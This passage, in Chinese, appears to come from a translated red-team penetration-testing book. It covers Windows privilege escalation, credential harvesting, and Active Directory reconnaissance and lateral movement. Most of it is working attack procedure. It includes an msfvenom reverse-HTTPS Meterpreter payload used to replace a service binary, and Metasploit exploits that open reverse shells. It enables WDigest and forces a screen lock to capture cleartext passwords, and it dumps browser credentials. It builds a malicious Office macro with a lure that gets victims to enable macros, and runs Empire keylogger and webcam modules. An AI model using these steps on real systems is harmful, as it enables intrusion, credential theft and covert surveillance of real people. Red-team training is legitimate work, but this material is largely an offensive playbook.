StartName: LocalSystem
看起来任何人都可以编写 WavesSysSyc 服务。这意味着我们可以将 WaveSysSvc64.exe 文件替换为我们自己的恶意
二进制文件:
创建一个 Meterpreter 二进制文件(后续的文章将讨论如何绕过杀毒软件)
msfvenom -p windows/meterpreter/reverse_https LHOST=[ip] LPORT=8080 -f exe > shell.exe
使用 Empire 上传二进制文件并替换原始二进制文件
upload ./shell.exe C:\users\test\shell.exe
shell copy C:\users\test\Desktop\shell.exe “C:\ProgramFiles\Waves\MaxxAudio\WavesSysSvc64.exe”
重新启动服务或等待其重启
一旦服务重新启动,你你应该会收到一个升级为 system 权限的 Meterpreter shell 。使用 PowerUp powershell 脚
本,你将发现许多不同的服务都会有权限提升的可能性。如果你想深入了解 Windows 权限提升的底层问题,请查看
FuzzSecurity 的文章:http://www.fuzzysecurity.com/tutorials/16.html 。
对于未打补丁的 Windows 系统,我们确实有一些权限升级攻击,比如:( https://github.com/FuzzySecurity/Pow
erShell-Suite/blob/master/Invoke-MS16-032.ps1 )和 ( https://github.com/FuzzySecurity/PSKernel-Primitives/t
ree/master/Sample-Exploits/MS16-135 ),但是我们如何快速识别目标系统上安装了哪些补丁呢,我们可以在受
害者系统上使用系统默认自带的命令来查看安装了哪些系统补丁包。Windows 自带默认命令 systeminfo 将提取任
何给定的 Windows 主机的所有补丁安装历史记录。我们可以拿回这个输出结果,将其复制到我们的 Kali 系统并运行
Windows Exploit Suggester 以查找已知的漏洞然后针对性的进行漏洞利用从而提升权限。
回到你攻击的 Windows 10系统:
systeminfo
systeminfo > windows.txt
将 windows.txt 复制到你的 Kali 虚拟机的 /opt/Windows-Exploit-Suggester 下
python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls
这个工具已经有一段时间没有被维护了,但是你还是可以轻松地从中寻找到你正需要的能权限提升的漏洞。
如果我们处在一个已经打好所有补丁的 Windows 主机环境中,我们将重点关注第三方软件中的不同权限提升漏洞或
操作系统的任何 0day 漏洞。例如,我们一直在寻找下面这样的漏洞 http://bit.ly/2HnX5id ,这是 Windows 中的权
限升级漏洞,现在还没有修补。通常在这些场景中,可能会有一些基本的 POC 代码,但是我们需要测试、验证并多
次复现这个漏洞。我们经常监控某些领域存在公共特权升级的漏洞:
http://insecure.org/search.html?q=privilege%20escalation
https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=escalation&colspec=ID+Type+Status+Prio
rity+Milestone+Owner+Summary&cells=ids
通常,这只是时间问题。例如,当发现漏洞时,这可能是你在系统打好补丁之前进一步破坏系统有限的好机会。
权限提升实验
测试并尝试不同类型的权限升级漏洞的最佳实验环境是 Rapid7的 Metasploitable3。这个充满漏洞的框架会自动生
成一个 Windows 虚拟机,其中包含所有常见的和不常见的漏洞。配置需要一点时间,但是一旦配置好了虚拟机,它
就是一个非常棒的实验环境。
让我们来看一个简单的例子,然后快速开始:
使用 nmap 扫描 Metasploitable3 虚拟机的IP ( 确保全端口扫描免得你错过一些端口 )
你将看到 ManageEngine 在端口8383上运行
启动 Metasploit 并搜索任何 ManageEngine 有关的漏洞
msfconsole
search manageengine
use exploit/windows/http/manageengine_connectionid_write
set SSL True
set RPORT 8383
set RHOST < Your IP>
exploit
getsystem
你会注意到你不能获得 system 权限,因为你所利用的服务未作为特权进程运行。这时,你能做到的就是尝试
所有不同的权限提升攻击。
其中,我们看到的一件事是,Apache Tomcat 是作为特权进程运行的。如果我们可以利用这个服务,我们就可
以将我们的 payload 作为更高层次的服务运行。我们看到 Apache Tomcat 在外部网络的8282端口运行,但它
需要用户名和密码。因为我们有一个本地低权限的 shell,我们可以尝试在磁盘上搜索这个密码。我们可以在谷
歌搜索“Tomcat密码存储在哪里”,搜索结果表明:“tomcat-users.xml”。
在受害者机器中,我们可以搜索和读取 tomcat-users.xml 文件:
shell
cd \ && dir /s tomcat-users.xml
type “C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf\tomcat-
users.xml
现在让我们使用找到的密码攻击 Tomcat。首先,登录到8282端口上的 Tomcat 管理控制台,并查看我们的密
码是否有效。然后,我们可以使用 Metasploit 通过 Tomcat 部署恶意的 WAR 文件。
search tomcat
use exploit/multi/http/tomcat_mgr_upload
show options
set HTTPusername sploit
set HTTPpassword sploit
set RPORT 8282
set RHOST < Metasploitable3_IP>
set Payload java/shell_reverse_tcp
set LHOST < Your IP>
exploit
whoami
你现在应该是 system 权限了。我们利用第三方的工具(tomcat)来提升权限到 system 权限。
从内存中提取明文凭据
Mimikatz 自推出以来,就改变了在渗透入侵中获取明文密码的方式。在 Windows 10之前,以本地管理员的身份在
主机系统上运行 Mimikatz 的话是允许攻击者从 lsass(本地安全机构子系统服务)中提取明文密码的。这种方法在
Windows 10 出现之前非常有效,而在 windows 10 中,即使你是本地管理员,也无法直接读取它。现在,我看到了
一些奇怪的现象,其中单点登录( SSO )或者一些特殊的软件会把密码保存在 LSASS 进程中让 Mimikatz 读取,但
是我们现在先忽略这个。在这一章中,我们将讨论当这件方法(指 SSO 和特殊的软件)不工作时该做什么(比如在
Windows 10系统中)。
假设你攻击了 Windows 10系统的主机并且提升权限了,默认情况下,你将调整 Mimikatz 的配置,并根据下面的查
询查看到密码字段为空。
那么你能做什么呢?最简单的选项是设置注册表项以让系统将密码凭证保存到 LSASS 进程。在 HKLM 中,有一个
UseLogonCredential 设置,如果设置为0,系统将在内存中存储凭据( http://bit.ly/2vhFBiZ ):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t
REG_DWORD /d 1 /f
在 Empire 中,我们可以通过 shell 命令运行:
shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
这个注册表修改的问题就是需要用户重新登录到系统。你可以让目标机器屏幕锁屏、重新启动或注销用户,以便你能
够捕获然后再次发送凭证文本。最简单的方法是锁定他们的工作机器(这样他们就不会丢失他们的当前的工作...看看
我有多好!)。要触发锁屏:
rundll32.exe user32.dll,LockWorkStation
一旦我们锁定屏幕,并让它们重新登录,我们就可以重新运行 Mimikatz 来获得明文密码。
如果我们无法提升到本地管理帐户怎么办?我们还有哪些其他方法可以获得用户的凭证?在过去,一个常见的渗透攻
击是在客户机的用户空间内存中查看凭据是否以明文形式存储。现在一切都是基于浏览器的,我们能在浏览器中做同
样的事情吗?
在这里,putterpanda 将和一个很酷的 POC 工具在一起来完成这个任务,称为 Mimikittenz。Mimikittenz 所做的就
是利用 Windows 函数 ReadProcessMemory()来提取来自各种目标进程(如浏览器)的密码,并输出纯文本。
Mimikitten 支持 Gmail,Office365,Outlook Web,Jira,Github,Bugzilla,Zendesk,Cpanel,Dropbox,
Microsoft OneDrive,AWS Web 服务、Slack、Twitter 和 Facebook。编写 Mimimikittenz 搜索表达式也很容易。
这个工具最好的地方在于它不需要本地管理员权限,因为他只需要访问那些用户本身创建的进程。一旦我们攻击进了
主机,我们将把 Mimimikittenz 导入内存,并运行 Invoke-mimikittenz 脚本。
正如上面所看到的,用户通过 Firefox 登录到 Github 中,我们可以从浏览器内存中提取他们的用户名和密码。现
在,我希望这本书的读者都能把这个工具用的越来越高级,为不同的应用程序创建更多的搜索查询。
从 Windows 凭据管理器和浏览器获取密码
Windows 凭据管理器是 Windows 的默认功能,用于保存系统、网站和服务器的用户名、密码和证书。记不记得当
你使用 Microsoft IE/EDGE 对网站进行身份验证后,通常会弹出一个弹出窗口,询问“是否要保存密码?”凭证存储就
是存储这些信息的地方,在凭据管理器中,有两种类型的凭据:Web 和 Windows。你还记得哪个用户有权访问这些
数据吗?它不是 system ,而是登录后可以检索此信息的用户。这对我们来说是很好的,就像任何钓鱼网站或代码执
行一样,我们通常都可以用别的方法获得那个用户的权限。最好的一点是,我们甚至不需要成为本地管理员来提取这
些数据。
如何提取这些信息呢?我们可以使用两种不同的 PowerShell 脚本导入以收集此数据:
收集网络凭据:
https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1
收集 Windows 凭证(只收集通用的而不是目标域特有的):
https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1
从上图中可以看到,我们提取了他们的 Facebook 存储的凭证和任何他们拥有通用的凭证。记住,对于 Web 凭据,
Get-WebCredentials 只能从 Internet Explorer/Edge 获取密码。如果我们需要从 Chrome 获取,我们可以使用
Empire payload 的 powershell/collection/ChromeDump。在获取之前,要运行 ChromeDump 的话,首先需要终
止 Chrome 进程,然后运行 ChromeDump,最后,我喜欢拉取下载所有的浏览器历史和 cookies。 我们不仅可以了
解他们的内部服务器的大量信息,而且,如果他们的会话仍然存在,我们也可以使用他们的 cookies 和身份验证,而
不必知道他们的密码!
使用如下 PowerShell 脚本:https://github.com/sekirkity/browsergather ,我们可以提取所有浏览器 cookies,并
通过我们的浏览器利用这些 cookies,但是所有这些 cookies 都没有提升权限的功能。
接下来,我们甚至可以开始在受害者系统上可能安装的所有第三方软件中寻找服务器和凭证。一个叫做
SessionGopher 的工具可以从 winscp、putty、superputty、filezilla 和 microsoft 远程桌面获取主机名和保存密
码。还有一个其他功能是能够从网络上的其他系统远程获取它的本地凭据,启动 sessiongopher 的最简单方法是导
入 PowerShell 脚本并执行使用:
Load PowerShell File:
. .\SessionGopher.ps1
Execute SessionGopher
Invoke-SessionGopher -Thorough
我们可以通过以下几种方式从主机系统获取凭证,而无需提升权限、绕过 UAC 或使用键盘记录器。因为我们是在用
户的系统会话中,所以我们可以访问主机上的许多资源,以帮助我们继续攻击。
从 OSX 获取本地凭证和信息
本书内的大部分横向运动集中在 Windows 上。这是因为几乎所有中大型环境都使用 Active Directory 来管理其系统
和主机。我们每年都能看到越来越多的 Mac 电脑,所以希望本书的内容也稍带提及一下 MAC。一旦进入一个 MAC
主机的内网环境,许多攻击就类似于在 Windows 主机环境中的攻击(即扫描默认凭据、Jenkin 等应用程序攻击,嗅
探网络,并通过 SSH 或 VNC 横向移动)。
有多个渗透攻击框架的 payload 支持 Mac,我最喜欢的是使用 Empire。Empire 可以生成多个 payload 来诱骗受害
者执行我们的代理,其中包括 Ducky scripts、二进制可执行程序、Office 宏、Safari 启动程序、pkg 安装包等等。
例如,我们可以创建一个和 Windows 主机适用的 PowerShell Empire 中的 Office 宏:
1. 打开 Empire
2. 首先,确保你能像我们在本书的开头所做的那样设置你的 Empire 监听器
3. 接下来,我们需要构建一个 OSX 宏的 payload
use Stager osx/macro
4. 设置要写入本地文件系统的输出文件
set outfile/tmp/mac.py
5. 生成 Payload
如果你查看生成的 Office 宏,你将看到它只是由 Python 执行的 Base64代码。幸运的是,Python 是 Mac 上的默认
应用程序,当执行这个宏时,我们应该得到 agent beacon 。
要在 Mac 中创建恶意 Exce l文件,我们可以打开一个新的 Excel 工作表,转到“工具”,查看宏,然后在此工作簿中创
建宏,一旦 Microsoft Visual Basic 打开,就删除所有当前代码并将其替换为所有新的宏代码。最后,将其保存为
XLSM 文件。
现在,把你的恶意文件发送给你的目标攻击者,看着 Empire 大展神威。在受害者那边,一旦他们打开 Excel 文件,
就会出现这样的情况:
确保创建了一个合理的情形,让他们单击“启用宏”。
一旦你的代理连接回你的 Empire 服务器,接下来的操作和侦察阶段就非常相似了。我们需要:
1. 转储浏览器信息和密码:
usemodule collection/osx/browser_dump
2. 启用键盘记录器:
usemodule collection/osx/keylogger
3. 让应用程序提示获取密码:
usemodule collection/osx/prompt
4. 始终打开电脑摄像头拍照:
usemodule collection/osx/webcam
利用 Windows 域环境的本地应用程序进行攻击
同样,在下面的示例中,我们将使用 PowerShell Empire。当然,你还可以使用 Metasploit、Cobalt Strike 等类似
的攻击框架进行相同的攻击。只要你有能力将 PowerShell 脚本导入内存,并且能够绕过主机系统的任何防护,用什
么其实并不重要。
现在的你已经完全空置了受害者的主机,从他们的工作主机偷走了所有的秘密,还了解一些受害者浏览的网站,并运
行了一些类似 netstat 的命令进行侦察工作...那接下来是什么?
对于红队队员来说,真正的问题是找到有关服务器、工作站、用户、服务以及他们的 Active Directory 环境的可靠信
息。在许多情况下,由于受到网络警报和被抓获的风险,我们无法运行任何漏洞扫描操作,甚至无法运行 NMAP 扫
描。那么,我们如何利用网络和服务的“特性”来查找我们需要的所有信息?
Service Principal Names(服务主体名称)
服务主体名称(即 SPN)是 Windows 中的一项功能,它允许客户端能够唯一地标识服务的实例。Kerberos 身份验
证使用 SPN 将服务实例与服务登录帐户关联[https://msdn.microsoft.com/enus/library/ms677949(v=vs.85).aspx]
。例如,你可以在那些运行 MSSQL 服务器、HTTP 服务器、打印服务器和其他服务器的服务帐户找到一个用于服务
的 SPN。对于攻击者来说,查询 SPN 是爆破阶段的重要部分。这是因为任何域用户帐户都可以查询与 Active
Directory 关联的所有服务帐户和服务器的 AD。我们可以在不扫描单个主机的情况下识别所有数据库服务器和 Web
服务器!
作为一个攻击者,我们可以利用这些“特性”来查询 Active Directory。在任何已经加入域的计算机上,攻击者都可以
运行 setspn.exe 文件来查询 Active Directory(AD)。此文件是所有 Windows 机器默认自带的 Windows 二进制文
件。
setspn -T [DOMAIN] -F -Q /
功能
-T = 对指定域执行查询
-F = 在 AD 环境而不是域级别环境执行查询
-Q = 在每个目标域或林环境上执行
/ = 显示所有
我们可以从 setspn 中看到什么类型的信息?下面,运行 setspn 命令,我们会看到一些在域控制器上运行的服务的
信息,还有关于工作站的信息,我们还找到了一个名为 csk-github 的服务器。在这个服务器中,我们可以看到在主
机上运行着一个 HTTP 服务。如果这些相同的协议运行在不同的端口上的话,这些信息也会被列出。
setspn 不仅提供有关服务用户和所有主机名的有用信息,它甚至也会告诉我们哪些服务正在系统上什么端口上运
行。如果我们可以直接从 AD 中获取服务甚至端口的大部分信息,那为什么我们还需要扫描网络?我们可能马上攻击
的东西是什么?Jenkins? Tomcat? ColdFusion?
查询 Active Directory
我不知道曾经有多少次,好不容易找到了一个域用户帐户和密码,却被告知它只是一个没有其他特权的域用户帐户,
但不用担心。我们通常可以在打印机,共享信息工作站,带有服务密码的文本文件,配置文件、iPad、包含密码的
Web 应用程序的页面源代码中中找到这些类型的帐户,但是,对于这些没有其他组成员资格的基本域用户帐户,你
可以用来做什么?
获取有关 AD 中用户的详细信息
我们可以使用 @harmj0y 创建的名为 PowerView 的工具来帮我们完成所有的复杂的查询操作。PowerView 是一个
PowerShell 脚本,用于在 Windows 域上获得网络拓扑信息。它包含一组纯 PowerShell 命令替换项,用于各种
Windows 系统中的 net 命令,这些命令使用 PowerShell AD hooks 和基础的 Win32 API 函数来执行有用的
Windows 域功能[http://bit.ly/2r9lYnH] 。作为攻击者,我们可以使用 AD 中低权限用户 普通的域用户 来利用
PowerView 和 PowerShell 查询 AD(活动目录),甚至不需要本地管理员权限。
让我们通过一个例子来说明我们可以从这个低权限用户那里获得多少数据。在一开始,我们已经在运行 Empire(你
可以在 Metasploit、Cobalt Strike 或类似软件都可以),并在受害者系统上执行了 payload。如果你以前从未建立
过 Empire,请查看有关建立 Empire 和 Empire payload 的设置章节。一旦我们的代理(agent)与我们的命令和控
制服务器通信,我们就可以键入 info 以查找有关受害者的信息。在本例中,我们已经攻陷了运行完整补丁的
Windows 10系统的主机,该系统的用户名为 neil.pawstrong,位于 CyberspaceKitten 的域中。
接下来,我们希望在不引起太多怀疑和注意的情况下从域中查询信息,我们可以使用 Empire 内部的 PowerView 工
具来获取信息。PowerView 查询域控制器(DC)以获取有关用户、用户组、计算机等的信息。我们此次使用
PowerView 将只用来查询域控制器,并且使它看起来像正常通信。
Empire 下有哪些模块可用于信息收集呢?
我们可以从 PowerView 脚本的 get_user 的函数名开始。获取指定域中指定查询用户的信息。通过使用默认设置,我
们可以获取有关 AD 中用户的所有信息以及相关信息的转储。
Module: situational_awareness/network/powerview/get_user
在上面的转储文件中,我们可以看到关于其中一个用户 purri gagarin 的信息。我们得到了什么类型的信息?我们
可以看到他们的 sAMAccountName 或用户名,当他们的密码被更改时,看到他们的对象类别是什么,他们是什么权
限组的成员,最后登录的时间是什么,等等。使用这个基本的用户转储,我们可以从目录服务中获得大量的信息。我
们还能得到什么样的信息呢?
Module: situational_awareness/network/powerview/get_group_member
get-group-member 返回给特定组的成员,并选择“recurse”以查找所有有效的组内成员。我们可以使用 AD 来查找
特定组的特定用户。例如,使用以下 Empire 的设置,我们可以搜索属于域管理组的所有域管理员和组:
info
set Identity “Domain Admins”
set Recurse True
set FullData True
execute
现在,我们有一个用户、组、服务器和服务的收集列表。这将帮助我们了解哪些用户拥有哪些特权。但是,我们仍然
需要有关工作站和系统的详细信息。这可能包括版本、创建日期、用途、主机名等。我们可以用一个叫做
get_computer 的模块来获得这些信息。
Module: situational_awareness/network/powerview/get_computer
描述:get_computer 模块可以查询域中当前的计算机对象。
get_computer 查询域控制器可以获得什么信息呢?好吧,我们看到我们可以获得关于机器的信息,比如当它被创建
时的 DNS 主机名,自定义名称等等。作为攻击者,最有用的侦察细节之一是获取操作系统类型和操作系统版本。在
这种情况下,我们可以看到这个系统是 Windows 10 Build 16299版本。我们可以通过获取这些信息,了解操作系统
的最新版本以及它们是否在 Microsoft 的发布信息页上存在修补的补丁:https://technet.microsoft.com/en-us/win
dows/release-info.aspx 。
Bloodhound/Sharphound
我们如何利用在侦察阶段收集的所有信息来创建一条攻击线路呢?我们如何能够轻松、快速地得知谁有权限去调用那
些功能?回想一下,我们总是试图直接攻击,让一切都达到我们想要的目的,但这总是会增加被抓住的可能性。
Andrew Robbins,Rohan Vazarkar 和 Will Schroeder 已经创造了一种最好的工具,那就是
Bloodhound/Sharphound。在他们的 Github 页面上显示。“Bloodhound/Sharphound 使用图表理论来揭示
Active Directory 环境中隐藏的、出乎意料的关系。攻击者红队可以使用 Bloodhound 轻松识别高度复杂的攻击路
径,否则的话将无法快速识别。防御者蓝队可以使用 Sharphound 来识别和消除对应的的攻击路径。”[https://githu
b.com/BloodHoundAD/BloodHound] 。
Bloodhound/Sharphound 的工作原理是在受害者系统上运行一个 Ingestor,然后为用户、组和主机查询 AD(类似
于我们以前手工做的)。然后,Ingestor 将尝试连接到每个系统以枚举登录的用户、会话和权限。当然,这个动静会
很大。对于采用默认设置(可以修改)的中型企业网站,连接到每个主机系统和使用 Sharphound 查询信息的时间
可能不到10分钟。注意,因为这会接触到网络上每个加入域的系统,所以它可能会让你被发现。
Bloodhound/Sharphound 中有一个秘密选项,它只查询 Active Directory,不连接到每个主机系统,但是输出结果
非常有限。
目前有两种不同的版本(我相信旧版本很快就会被移除):
在 Empire,你可以使用模块:
usemodule situational_awareness/network/bloodhound
这仍然是查询非常慢的旧的 PowerShell 版本
最好的选择是 Sharphound,Sharphound 是最原始的 C# 版本 Bloodhound Ingester。这是个更快更稳定的
版本。可以用作独立二进制文件,也可以作为 PowerShell 脚本导入。Sharphound PowerShell 脚本将使用反
射和 assembly.load 加载已编译 BloodHound C# 版本的 ingestor 并将其捕获。
https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors
要运行 Bloodhound/Sharphound Ingestor,你可能需要指定多个集合方法:
Group - Collect group membership information
收集组成员身份信息
LocalGroup - Collect local admin information for computers
收集计算机的本地管理信息
Session - Collect session information for computers
收集计算机的会话信息
SessionLoop - Continuously collect session information until killed
持续收集会话信息直到结束
Trusts - Enumerate domain trust data
列举域内信任数据
ACL - Collect ACL (Access Control List) data
收集ACL(访问控制列表)数据
ComputerOnly - Collects Local Admin and Session data
收集本地管理和会话数据
GPOLocalGroup - Collects Local Admin information using GPO (Group Policy Objects)
使用GPO(组策略对象)收集本地管理信息
LoggedOn - Collects session information using privileged methods (needs admin!)
使用特权方法收集会话信息(需要管理员权限!)
ObjectProps - Collects node property information for users and computers
为用户和计算机收集节点属性信息
Default - Collects Group Membership, Local Admin, Sessions, and Domain Trusts
收集组成员、本地管理员、会话和域信任关系
在目标系统上运行 Blood/Sharphound:
运行 PowerShell,然后导入 Bloodhound.ps1 或者 SharpHound.ps1:
Invoke-Bloodhound -CollectionMethod Default
Invoke-Bloodhound -CollectionMethod ACL,ObjectProps,Default-CompressData -RemoveCSV -
NoSaveCache
运行可执行文件:
SharpHound.exe -c Default,ACL,Session,LoggedOn,Trusts,Group
一旦完成了 Bloundhound/Sharphound,这四个文件将被保存到受害者机器上。下载并处理这些文件,并将它们复
制到你的 kali 上。接下来,我们需要启动 Neo4j 服务器并导入这些数据来构建相关关系图。
打开 Bloodhound
1. apt-get install bloodhound
2. neo4j console
3. 打开浏览器访问 http://localhost:7474
1. 连接到 bolt://localhost:7687
2. 用户名: neo4j
3. 密码: neo4j
4. 修改密码
4. 在一个终端中运行 Bloodhound:
1. bloodhound
2. 数据库 URL: bolt://127.0.0.1:7687
3. 用户名: neo4j
4. 密码:新的密码
5. 加载数据
1. 在右侧,有一个 Upload Data 的按钮
2. 上传 acls.csv , group_membership.csv , local_admin.csv 和 sessions.csv
如果你没有一个域来测试这个,我已经在这里上传了四个 Bloodhound 文件:https://github.com/cyberspacekitte
ns/bloodhound ,这样你就可以重复这些练习了。一旦进入 Bloodhound 并导入了所有数据,我们就可以去查询“查
找到域管理员的最短路径”。我们还可以选择特定的用户,看看是否可以将路径映射到特定的用户或组。在我们的示
例中,我们攻陷的第一个用户机器是 [email protected]。在搜索栏中,我们输入该
用户的用户名,单击 Pathfinding 按钮,然后键入“Domain Admin”(或任何其他用户),查看是否可以在这些对
象之间显示对应的路由路径。
你可以从 Neil 的机器上看到,我们可以一路顺利的到 CSK 实验组。在“实验”组中,有一个名为 Purri 的用户,他是
HelpDesk 组的成员。
如果我们能攻陷 HelpDesk 组,我们可以转到 Chris 的主机中,而且 Elon Muskkat 目前已登录此机器。如果我们能
转移到他的进程或窃取他的明文密码,我们就可以把权限提升到域管理员!
对于大型网络的扫描结果,我们注意到了 Bloodhound 查询的搜索功能有一些局限性。使用 Neo4j 的一个巨大好处
是,它允许通过自己本身的叫 Cypher 的语言进行原始查询。有关自定义查询的 Cypher 的深入研究,请访问:http
s://blog.cptjesus.com/posts/introtocypher 。
我们可以添加哪种自定义查询?来看吧,@porterhau5在扩展 Bloodhound 跟踪和可视化攻击方面取得了很大进
展。查看他们的文章:https://porterhau5.com/blog/extending-bloodhound-track-and-visualize-your-compromi
se/ 。
从高层次的角度来看,@porterhau5增加了标记被攻陷主机的想法,以帮助更好地在内网漫游。例如,在这个伪造
的场景中,我们通过仿冒用户 niel.pawstrong 来危害其他初始用户。使用 Bloodhound 上的 Cypher 语言和原始查
询功能,我们可以运行这些查询:
向被攻陷系统添加自有标签:
MATCH (n) WHERE n.name=“[email protected]” SET
n.owned=“phish”, n.wave=1
运行查询以显示所有被仿冒的系统
MATCH (n) WHERE n.owned=“phish” RETURN n
现在,我们可以向 Bloodhound 添加一些自定义查询。在Bloodhound 的“查询”选项卡上,滚动到底部,单击“自定
义查询”旁边的“编辑”按钮。用以下内容替换所有文本:
https://github.com/porterhau5/BloodHound-Owned/blob/master/customqueries.json
保存之后,我们应该创建更多的查询。现在我们可以单击查找结果“查找从所属节点到域管理员的最短路径”。
如果你想更仔细地研究这个问题,请查看 @porterhau5的 fork 版 Bloodhound。它用标记使被攻陷机器更直观,并
允许更多的自定义功能:https://github.com/porterhau5/bloodhound-owned 。
到目前为止,在没有扫描的情况下,我们已经能够获得关于该组织的大量信息。这都是作为本地 AD 用户(域用户)
的权限能做到的的,而且在大多数情况下,没有任何网络流量看起来太可疑。正如你所看到的,我们能够做到这一
切,而无需成为本地管理员或对本地系统拥有任何管理权限。
Advanced ACL/ACE Bloodhound
当使用 Bloodhound 的收集方法访问控制列表(ACL)类型时,我们的脚本将查询 AD 以收集用户和对象的所有访问
控制权限。我们从访问控制项(ACEs)收集的信息描述了用户、组和计算机的允许和拒绝权限。寻找和利用 ACEs 本
身就是一个能写成完整的书的内容,但这里有一些很好的启动资源:
BloodHound 1.3–acl 攻击路径更新
https://wald0.com/?p=112
介绍对抗性恢复方法
http://bit.ly/2GYU7S7
在将 ACL 数据导入 Bloodhound 时,我们要寻找什么信息?Bloodhound 识别出 ACE 中可能存在弱点的地方。这将
包括谁有能力更改或重置密码、向组中添加成员、为其他用户更新脚本路径等对象、更新对象或在对象上写入新的
ACE 等等。
怎么使用这个东西呢?当攻陷到某个用户和获得额外的凭证后,我们可以通过目标路径找到一个有能力重置密码或修
改 ACE 权限的用户。这将导致会有新的方法来找到到域管理员或特权帐户的路径,甚至允许设置后门以供以后使
用。了解这些类型的利用方法的一个很好的资源是:Robbins-An-ACE-Up-The-Sleeve-DesigningActive-Directory-
DACL-Backdoors 演讲 。
横向漫游——移动
在一个拥有多个用户的机器上,通常的做法是创建一个新的用户凭证或者迁移不同用户的凭证。这种方法大量用于在
环境中横向移动,这并不是什么新鲜问题。通常,从 Bloodhound 输出或共享工作站,作为攻击者,我们需要能够
模仿被攻陷的受害者系统上的其他用户。
我们拥有的许多工具可以用不同的方法来实现这一点。比如 Metasploit,我们都应该非常熟悉使用 Post
Exploitation 隐蔽框架来窃取 token。
在 Empire 中,我们可以使用窃取 token 来模拟该系统上的用户。我注意到,有时候窃取 token 会让我们的 shell 下
线。为了避免这种情况,我们可以将一个新的 agent 注入到另一个用户拥有的正在运行的进程中。
在下面的图片中,我们使用钓鱼让一个员工运行了我们的恶意软件。。这使得我们可以在受害者用户的系统中运行我
们自己的程序(neil.pawstrong)。在那个用户的系统上,我们可以转到 BuzzClawdrin 的系统,并用
WMI(WindowsManagementInstrumentation)命令执行获得了一个新的 agent。这里的问题是,我们在最初攻击
受害者 Neil.Pawstrong 的过程中,因为我们使用缓存的凭证在 Buzz 的主机上生成了一个 shell。因此,我们不应该
窃取 token,而应该使用 Empire 的 psinject 功能。
psinject 描述“能够使用 ReflectivePick 将代理注入另一个进程,从而将通用.NET运行库时加载到进程中并执行特定
的 PowerShell 命令,而无需启动新的 PowerShell.exe 进程!”[ http://bit.ly/2HDxj6x ],我们使用它来生成一个全
新的、以 buzz.clauldrin 的用户进程运行的 agent,这样我们现在就可以获得他的访问权限。
离开初始主机
现在你已经找到了将要移动到的潜在路径,那么获得这些系统的代码执行的选项是什么?最基本的方法是使用我们当
前的有 Active Directory 权限的用户以获得对另一个系统的控制权,举个例子,一个经理可以完全访问其下属的计算
机,一个拥有多个具有管理权限的会议/实验组计算机,他们的内部系统配置错误,或者发现有人手动将用户添加到
该计算机上的本地管理组。这都是普通用户可以拥有远程访问到网络上的其他工作站的可能的一些方式。一旦攻陷了
一台目标机器,我们既可以获取 Bloodhound 的结果,也可以重新扫描网络以查看我们在哪些机器上具有本地访问
权限:
Empire 模块:
situational_awareness/network/powerview/find_localadmin_access
Metasploit 模块:http://bit.ly/2JJ7ILb
Empire 的 find_localadmin_access 将查询 Active Directory 中的所有主机名并尝试连接到它们。这绝对是一个会造
成很大动静的工具,因为它需要连接到每个主机并且验证它是否是本地管理员。
我们可以看到,Empire 的 find_localadmin_access 模块标明了用户访问我们的陷阱的是一个
buzz.cyberspacekittens.local 机器。这应该和我们的 Bloodhound 回显的是一样的。为了再次检查我们是否有访问
权限,我通常会执行一些非交互的远程命令,比如 dir [remote system]\C$ 并查看我们是否有对 C 盘的读/写权限。
在域内横向移动方面,有好几种做法。让我们先来看看 Empire 中最常见的(直接从 Empire 中提取的):
inveigh_relay:Inveigh 的 SMB 中继功能。此模块可用于将传入的 HTTP/Proxy NTLMv1/NTLMv2身份验证请
求中继到 SMB 目标。如果成功地中继了身份验证,并且帐户具有较高的权限,则将在目标机器上利用 PSExec
执行指定的命令或 Empire 启动程序。
invoke_executemsbuild:此函数使用 msbuild 和 inline task(内联任务)在本地/远程主机上执行
PowerShell 命令。如果提供了凭据,则在本地装入默认管理共享。此命令将在启动 msbuild.exe 进程的前后执
行,而不启动 powershell.exe。
invoke_psremoting:使用 psremoting 在远程主机上执行 stager。只要受害者启用了 PSRemoting(这不总是
启用的),我们就可以通过此服务执行 PowerShell。
invoke_sqloscmd:在远程主机上执行命令或着使用 xp_cmdshell 程序。就会反弹回一个 xp_cmdshell!
invoke_wmi:使用 WMI 在远程主机上执行 stager。发现目标几乎总是启用了 WMI,这是执行 PowerShell
payload 的一个很好的方法。
jenkins_script_console:将 Empire 代理部署到具有对脚本控制台未经身份验证访问权限的 Windows Jenkins
服务器。如我们所知,Jenkins 服务器是常见的,没有凭据通常意味着要使用 RCE 来通过 /script 端点。
invoke_dcom:通过 DCOM 上的 MMC20.Application COM 对象在远程主机上调用命令。允许我们在不使用
psexec,WMI 或 PSRemoting 的情况下渗透进去。
invoke_psexec:使用 PsExec 类型在远程主机上执行 stager 功能。这是使用 PsExec 移动文件并执行的传统方
法。这可能会触发警报,但如果没有其他可用的方法,这仍然是一个好方法。
invoke_smbexec:使用 SMBExec.ps 在远程主机上执行 stager。我们可以使用 samba 工具进行类似的攻击,
而不是使用 PsExec。
invoke_sshcommand:通过 SSH 在远程主机上执行命令。
invoke_wmi_debugger:使用 WMI 将远程计算机上的目标二进制文件的调试器设置为 cmd.exe 或 stager。使
用类似 sethc(粘滞键)的调试器工具来执行我们的代理。
new_gpo_immediate_task:生成“即时”的 schtask 以通过指定的 GPO 推出。如果你的用户帐户有权修改
GPO,此模块允许你将“即时”计划任务推送到可以编辑的 GPO,允许在应用 GPO 的系统上执行代码。
[http://www.harmj0y.net/blog/empire/empire-1-5/]
这些只是一些最简单和最常见的横向内网漫游技术。在本书的后面,我们将讨论一些不太常见的绕过网络的技术。在
大多数内网中,通常启用 Windows Management Instrumentation(WMI),因为它是管理工作站所必需的服务。
因此,我们可以使用 invoke-wmi 横向移动。由于我们使用的是本地缓存凭据,且我们的帐户可以访问远程主机,因
此我们不需要知道用户的凭据。
在远程系统上执行
usemodule lateral_movement/invoke_wmi
设置你即将入侵的主机的相关信息:
set ComputerName buzz.cyberspacekittens.local
配置你将使用的监听器:
